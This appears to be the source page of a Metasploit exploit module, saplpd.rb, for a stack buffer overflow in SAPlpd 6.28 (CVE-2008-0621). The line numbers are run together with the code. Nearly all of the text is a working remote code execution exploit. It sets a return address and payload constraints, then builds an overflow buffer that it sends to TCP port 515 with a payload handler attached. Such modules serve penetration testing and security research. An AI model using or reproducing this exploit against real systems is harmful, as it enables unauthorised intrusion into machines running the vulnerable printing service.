Path: blob/master/modules/exploits/windows/lpd/saplpd.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'SAP SAPLPD 6.28 Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .17By sending an overly long argument, an attacker may be able to execute arbitrary18code.19},20'Author' => 'MC',21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-0621' ],24[ 'OSVDB', '41127' ],25[ 'BID', '27613' ],26],27'DefaultOptions' => {28'EXITFUNC' => 'thread',29},30'Payload' => {31'Space' => 400,32'BadChars' => "\x00\x0a",33'StackAdjustment' => -3500,34'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",35},36'Platform' => 'win',37'Targets' => [38[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], # SAPlpd.exe 3/7/200639],40'Privileged' => true,41'DisclosureDate' => '2008-02-04',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(515)], self)52end5354def exploit55connect5657sploit = "\x02"58sploit << rand_text_alpha_upper(484 - payload.encoded.length)59sploit << payload.encoded60sploit << [target.ret].pack('V')61sploit << [0xe9, -375].pack('CV')6263print_status("Trying target #{target.name}...")6465sock.puts(sploit)6667handler68disconnect69end70end717273